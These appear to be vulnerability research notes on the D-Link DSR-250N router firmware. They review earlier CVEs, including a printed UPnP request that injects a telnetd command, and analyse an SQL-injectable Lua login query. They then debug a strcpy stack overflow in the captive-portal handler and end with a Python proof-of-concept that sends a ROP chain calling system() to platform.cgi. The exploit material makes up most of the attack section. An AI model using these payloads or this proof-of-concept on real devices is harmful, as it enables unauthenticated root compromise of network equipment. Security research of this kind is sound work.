On this page
Research notes · D-Link DSR-250N vulnerability research
Introduction
Research objective: investigate an unauthenticated RCE path reportedly exploited in the wild, with memory corruption as the suspected vulnerability class.
Reconnaissance

Firmware information:

The firmware contains two filesystems and targets little-endian ARM.

Extraction on macOS was incomplete in this experiment.



Reviewing historical vulnerabilities
CVE-2020-26567: remote denial of service in the DSR-250N
CVE-2020-26567 DSR-250N remote denial-of-service analysis — Anquanke
The device dispatches requests through CGI, with the main processing logic in its HTTP components.

A denial-of-service vulnerability had previously existed here.

That issue provides denial of service, without an established RCE path.
support.dlink.com - /resource/PRODUCTS/DSR-250/REVC/


CVE-2020-25757: Unauthenticated Remote Root Command Injection
D-Link Technical Support

An unauthenticated command injection vulnerability had existed in the Lua CGI layer.
The advisory appeared to describe this location:



The issue was fixed in version 3.18:






CVE-2020-18568 upnp command injection
POST /upnp/control/WANIPConn1 HTTP/1.1
HOST: $control_host:$control_port
Content-Length: $content_length
Content-Type: text/xml; charset="utf-8"
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
%3C?xml version="1.0" ?%3E
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewExternalPort>7331</NewExternalPort>
<NewProtocol>tcp<NewProtocol/>
<NewInternalPort>1337<NewInternalPort/>
<NewLeaseDuration><NewLeaseDuration/>
<NewEnabled>1<NewEnabled/>
<NewPortMappingDescription>hackedByC0ss4ck<NewPortMappingDescription/>
<NewRemoteHost>0.0.0.0<NewRemoteHost/>
<NewInternalClient>;telnetd -p 24;<NewInternalClient/>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
The use of execve here appeared to prevent the proposed command injection.
Firmware analysis
With the initial information collected, the HTTP daemon became a candidate for an unauthenticated overflow.
The firmware includes an SQLite database, and Lua implements much of the application logic.
The HTTP middleware is:

lighttpd/1.4.55
Emulation attempts were unsuccessful in this environment.
At this stage, UPnP was another suspected location for the overflow.
got a mistake:

The login flow:


db.lua
-- Checks if row in table with given keyname and value exists.
-- Returns _ROWID_ if exists, false if not or error.
function db.existsRow (tablename, keyname, keyvalue)
-- query
local cur = db.execute(string.format([[
SELECT *, ROWID AS _ROWID_ FROM %s
WHERE %s = '%s'
]], tablename, keyname, keyvalue))
-- check for rows
local result = false
if (cur) then
local row = cur:fetch ({}, "a")
cur:close()
if (row ~= nil) then
result = row["_ROWID_"]
end
end
return result
end
--Execute the given query and return the resulting cursor and error message.
function db.execute (query)
cur, errorStr = _DB_con:execute(query)
errorStr = errorStr or ""
if (errorStr ~= "") then
util.appendDebugOut("DBExecute error message: " .. errorStr .. "<br>")
end
if (statusMessage == "" and errorStr ~= "") then
util.appendDebugOut("statusMessage old = " .. statusMessage .. ", new = " .. errorStr .. "<br>")
statusMessage = errorStr
end
return cur, errorStr
end
The relevant query construction is:
local cur = db.execute(string.format([[
SELECT *, ROWID AS _ROWID_ FROM %s
WHERE %s = '%s'
]], tablename, keyname, keyvalue))
if (not db.existsRow("Users", "UserName", inputTable["Users.UserName"])) then
db.execute("SELECT *, ROWID AS _ROWID_ FROM Users WHERE UserName = '%s'",Users.UserName)
Authentication first checks whether the user exists, retrieves the stored password, and compares a hash against the supplied password.
This appeared susceptible to SQL injection, but only a single statement could be executed; stacked statements were not supported.
After a successful login, 
Cookie validation follows this path:

This function validates access to some pages:
The cookie string is escaped here, so this path did not provide the same injection opportunity.
loginlib generates a 32-character random cookie value. The database is checked for an existing cookie for that user: an existing record is updated, otherwise a new record is inserted.


The 
action field can dispatch to Lua files.



0xf characters.

An unauthenticated stack overflow

gdbserver through the interface. Debugging showed that requests were handled in a new process.


I investigated another candidate:

Debugging setup:

qemu-arm -L . -g 1234 ./bin/lua test.lua
gdb ./bin/lua -x x
test.lua
package.path = "share/lua/5.1/?.lua;" .. package.path
package.cpath = "lib/lua/5.1/?.so;" .. package.cpath
require "teamf1lualib/captivePortal"
captivePortal.parseDuaResponse ('{"authentication": {"result": "my_username","clientMac": "my_password"}}')
debug:
set architecture arm
set endian little
b *0x0090E4
target remote :1234
b *0xff52a14c
b *0xff52a17c
b *0xff52a210

► 0xff52a17c <lua_duaResponseGet+324> bl #strcpy@plt <0xff529350>
dest: 0xfffee358 ◂— 0x0
src: 0x1b178 ◂— 0x7561227b ('{"au')
The following location appeared to be the relevant exploitation path:


Controlling the registers:



0x628 on a 32-bit stack, giving padding of 0x628 + 4.

0x8000 0xa000 r-xp 2000 0 /pfrm2.0/bin/cgi
0x11000 0x12000 rwxp 1000 1000 /pfrm2.0/bin/cgi
0x12000 0x200000 rwxp 1ee000 0 [heap]
0x40000000 0x40020000 r-xp 20000 0 /lib/ld-2.8.so
0x40020000 0x40026000 rwxp 6000 0
0x40027000 0x40028000 r-xp 1000 1f000 /lib/ld-2.8.so
0x40028000 0x40029000 rwxp 1000 20000 /lib/ld-2.8.so
0x4002c000 0x400cf000 r-xp a3000 0 /lib/libm-2.8.so
0x400cf000 0x400d6000 ---p 7000 a3000 /lib/libm-2.8.so
0x400d6000 0x400d7000 r-xp 1000 a2000 /lib/libm-2.8.so
0x400d7000 0x400d8000 rwxp 1000 a3000 /lib/libm-2.8.so
0x400d8000 0x400dc000 r-xp 4000 0 /lib/libdl-2.8.so
0x400dc000 0x400e3000 ---p 7000 4000 /lib/libdl-2.8.so
0x400e3000 0x400e4000 r-xp 1000 3000 /lib/libdl-2.8.so
0x400e4000 0x400e5000 rwxp 1000 4000 /lib/libdl-2.8.so
0x400e8000 0x4010c000 r-xp 24000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x4010c000 0x40113000 ---p 7000 24000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x40113000 0x40114000 rwxp 1000 23000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
0x40114000 0x40117000 r-xp 3000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x40117000 0x4011e000 ---p 7000 3000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x4011e000 0x4011f000 rwxp 1000 2000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
0x40120000 0x4012c000 r-xp c000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x4012c000 0x40133000 ---p 7000 c000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x40133000 0x40134000 rwxp 1000 b000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
0x40134000 0x40135000 rwxp 1000 0
0x40138000 0x4013e000 r-xp 6000 0 /lib/librt-2.8.so
0x4013e000 0x40145000 ---p 7000 6000 /lib/librt-2.8.so
0x40145000 0x40146000 r-xp 1000 5000 /lib/librt-2.8.so
0x40146000 0x40147000 rwxp 1000 6000 /lib/librt-2.8.so
0x40148000 0x4015d000 r-xp 15000 0 /lib/libpthread-2.8.so
0x4015d000 0x40164000 ---p 7000 15000 /lib/libpthread-2.8.so
0x40164000 0x40165000 r-xp 1000 14000 /lib/libpthread-2.8.so
0x40165000 0x40166000 rwxp 1000 15000 /lib/libpthread-2.8.so
0x40166000 0x40168000 rwxp 2000 0
0x40168000 0x40174000 r-xp c000 0 /lib/libgcc_s.so.1
0x40174000 0x4017b000 ---p 7000 c000 /lib/libgcc_s.so.1
0x4017b000 0x4017c000 rwxp 1000 b000 /lib/libgcc_s.so.1
0x4017c000 0x402b4000 r-xp 138000 0 /lib/libc-2.8.so
0x402b4000 0x402b6000 r-xp 2000 138000 /lib/libc-2.8.so
0x402b6000 0x402b7000 rwxp 1000 13a000 /lib/libc-2.8.so
0x402b7000 0x402ba000 rwxp 3000 0
0x402bc000 0x402bf000 r-xp 3000 0 /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402bf000 0x402c6000 ---p 7000 3000 /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402c6000 0x402c7000 rwxp 1000 2000 /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
0x402c8000 0x402cc000 r-xp 4000 0 /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402cc000 0x402d3000 ---p 7000 4000 /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402d3000 0x402d4000 rwxp 1000 3000 /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
0x402d4000 0x40357000 r-xp 83000 0 /pfrm2.0/lib/libsqlite3.so.0.8.6
0x40357000 0x4035e000 ---p 7000 83000 /pfrm2.0/lib/libsqlite3.so.0.8.6
0x4035e000 0x40360000 rwxp 2000 82000 /pfrm2.0/lib/libsqlite3.so.0.8.6
0x40360000 0x40362000 r-xp 2000 0 /pfrm2.0/lib/lua/5.1/loginLib.so
0x40362000 0x40369000 ---p 7000 2000 /pfrm2.0/lib/lua/5.1/loginLib.so
0x40369000 0x4036a000 rwxp 1000 1000 /pfrm2.0/lib/lua/5.1/loginLib.so
0x4036c000 0x4053c000 r-xp 1d0000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
0x4053c000 0x4055a000 rwxp 1e000 1d0000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
0x4055a000 0x4055d000 rwxp 3000 0
0x40560000 0x405b0000 r-xp 50000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
0x405b0000 0x405b6000 rwxp 6000 50000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
0x405b8000 0x405b9000 r-xp 1000 0 /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405b9000 0x405c1000 ---p 8000 1000 /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405c1000 0x405c2000 rwxp 1000 1000 /pfrm2.0/lib/lua/5.1/loginLuaLib.so
0x405c4000 0x405c5000 r-xp 1000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405c5000 0x405cc000 ---p 7000 1000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405cc000 0x405cd000 rwxp 1000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
0x405d0000 0x405d2000 r-xp 2000 0 /pfrm2.0/lib/lua/5.1/timeLib.so
0x405d2000 0x405d9000 ---p 7000 2000 /pfrm2.0/lib/lua/5.1/timeLib.so
0x405d9000 0x405da000 rwxp 1000 1000 /pfrm2.0/lib/lua/5.1/timeLib.so
0x405dc000 0x405de000 r-xp 2000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405de000 0x405e5000 ---p 7000 2000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405e5000 0x405e6000 rwxp 1000 1000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
0x405e8000 0x405eb000 r-xp 3000 0 /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405eb000 0x405f2000 ---p 7000 3000 /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405f2000 0x405f3000 rwxp 1000 2000 /pfrm2.0/lib/lua/5.1/kliteLib.so
0x405f4000 0x405f8000 r-xp 4000 0 /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x405f8000 0x405ff000 ---p 7000 4000 /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x405ff000 0x40600000 rwxp 1000 3000 /pfrm2.0/lib/lua/5.1/captivePortalLib.so
0x40600000 0x40616000 r-xp 16000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x40616000 0x4061e000 ---p 8000 16000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x4061e000 0x4061f000 rwxp 1000 16000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
0x40620000 0x40645000 r-xp 25000 0 /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x40645000 0x4064d000 ---p 8000 25000 /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x4064d000 0x4064e000 rwxp 1000 25000 /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
0x40650000 0x40658000 r-xp 8000 0 /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x40658000 0x4065f000 ---p 7000 8000 /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x4065f000 0x40660000 rwxp 1000 7000 /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
0x40660000 0x40701000 r-xp a1000 0 /pfrm2.0/lib/libkrb5.so.3.3
0x40701000 0x40709000 ---p 8000 a1000 /pfrm2.0/lib/libkrb5.so.3.3
0x40709000 0x4070e000 rwxp 5000 a1000 /pfrm2.0/lib/libkrb5.so.3.3
0x40710000 0x4073b000 r-xp 2b000 0 /pfrm2.0/lib/libk5crypto.so.3.1
0x4073b000 0x40743000 ---p 8000 2b000 /pfrm2.0/lib/libk5crypto.so.3.1
0x40743000 0x40744000 rwxp 1000 2b000 /pfrm2.0/lib/libk5crypto.so.3.1
0x40744000 0x40745000 rwxp 1000 0
0x40748000 0x4074a000 r-xp 2000 0 /pfrm2.0/lib/libcom_err.so.3.0
0x4074a000 0x40751000 ---p 7000 2000 /pfrm2.0/lib/libcom_err.so.3.0
0x40751000 0x40752000 rwxp 1000 1000 /pfrm2.0/lib/libcom_err.so.3.0
0x40754000 0x4075a000 r-xp 6000 0 /pfrm2.0/lib/libkrb5support.so.0.1
0x4075a000 0x40762000 ---p 8000 6000 /pfrm2.0/lib/libkrb5support.so.0.1
0x40762000 0x40763000 rwxp 1000 6000 /pfrm2.0/lib/libkrb5support.so.0.1
0x40764000 0x40768000 r-xp 4000 0 /pfrm2.0/lib/libspopc-0.10n.so
0x40768000 0x4076f000 ---p 7000 4000 /pfrm2.0/lib/libspopc-0.10n.so
0x4076f000 0x40770000 rwxp 1000 3000 /pfrm2.0/lib/libspopc-0.10n.so
0x40770000 0x4077a000 r-xp a000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x4077a000 0x40781000 ---p 7000 a000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x40781000 0x40782000 rwxp 1000 9000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
0x40784000 0x40788000 r-xp 4000 0 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x40788000 0x4078f000 ---p 7000 4000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x4078f000 0x40790000 rwxp 1000 3000 /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
0x40790000 0x407a1000 r-xp 11000 0 /lib/libresolv-2.8.so
0x407a1000 0x407a9000 ---p 8000 11000 /lib/libresolv-2.8.so
0x407a9000 0x407aa000 r-xp 1000 11000 /lib/libresolv-2.8.so
0x407aa000 0x407ab000 rwxp 1000 12000 /lib/libresolv-2.8.so
0x407ab000 0x407ad000 rwxp 2000 0
0x407b0000 0x407b4000 r-xp 4000 0 /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407b4000 0x407bb000 ---p 7000 4000 /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407bb000 0x407bc000 rwxp 1000 3000 /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
0x407bc000 0x407bf000 r-xp 3000 0 /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407bf000 0x407c7000 ---p 8000 3000 /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407c7000 0x407c8000 rwxp 1000 3000 /pfrm2.0/lib/lua/5.1/x509Lib.so
0x407c8000 0x407ca000 r-xp 2000 0 /pfrm2.0/lib/lua/5.1/externalAuthLib.so
0x407ca000 0x407d1000 ---p 7000 2000 /pfrm2.0/lib/lua/5.1/externalAuthLib.so
0x407d1000 0x407d2000 rwxp 1000 1000 /pfrm2.0/lib/lua/5.1/externalAuthLib.so
export CONTENT_TYPE=application/x-www-form-urlencoded
export QUERY_STRING=action=cpExternalAuth
export CONTENT_LENGTH=2000
export REQUEST_URI=/platform.cgi?action=cpExternalAuth
Local experiment:

Enable core dumps:

ulimit -c unlimited
Remote experiment:


Candidate addresses:

The experiment reached the following result:


POC:





#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from pwn import *
import urllib
context.log_level = "debug"
# Suppress only the single warning about unverified HTTPS request
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def send_post_request(url, payload, headers=None):
if headers is None:
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://192.168.10.1/platform.cgi",
"Content-Length" : "2000",
# Add other headers as needed
}
try:
response = requests.post(url, data=payload, headers=headers, verify=False)
if response.status_code == 200:
return response.text # Return response data if successful
else:
return "Request failed with status code"
except requests.RequestException as e:
return "Request failed:{}".format(e)
# Example usage:
host = "192.168.10.1"
endpoint = "/platform.cgi?action=cpExternalAuth"
url = "https://{}{}".format(host, endpoint)
#captivePortalLib_base = 0x405f4000 + 0x0174C
#test_addr = 0x0174C + captivePortalLib_base
#libc_addr = 0x4017c000
lib_pthread = 0x40148000
system_addr = lib_pthread + 0x10aa4
libarmarm_none_linux_gnueabi_lua = 0x400e8000
pop_r0 = 0x000205f0 + libarmarm_none_linux_gnueabi_lua
padding = '/bin/ls -al / > /tmp/32131;\n'.ljust((0x623), 'A')
commend_addr = 0x40024000
printf_addr = 0x47390 + libc_addr
log.info("[*] system_addr:" + hex(system_addr))
log.info("[*] pop_r0:" + hex(pop_r0))
log.info("[*] commend_addr :" + hex(commend_addr))
rop_shell = padding + p32(pop_r0) + p32(commend_addr + 0x12) + p32(system_addr)
payload = rop_shell
custom_payload = "externalCpResult=\"{}\"".format(payload)
payload = custom_payload.ljust(2000,'A')
result = send_post_request(url, payload)
print(result)

Loading a core dump
gdb-multiarch ./bin/cgi core-cgi-11-0-0-27063-1700123908
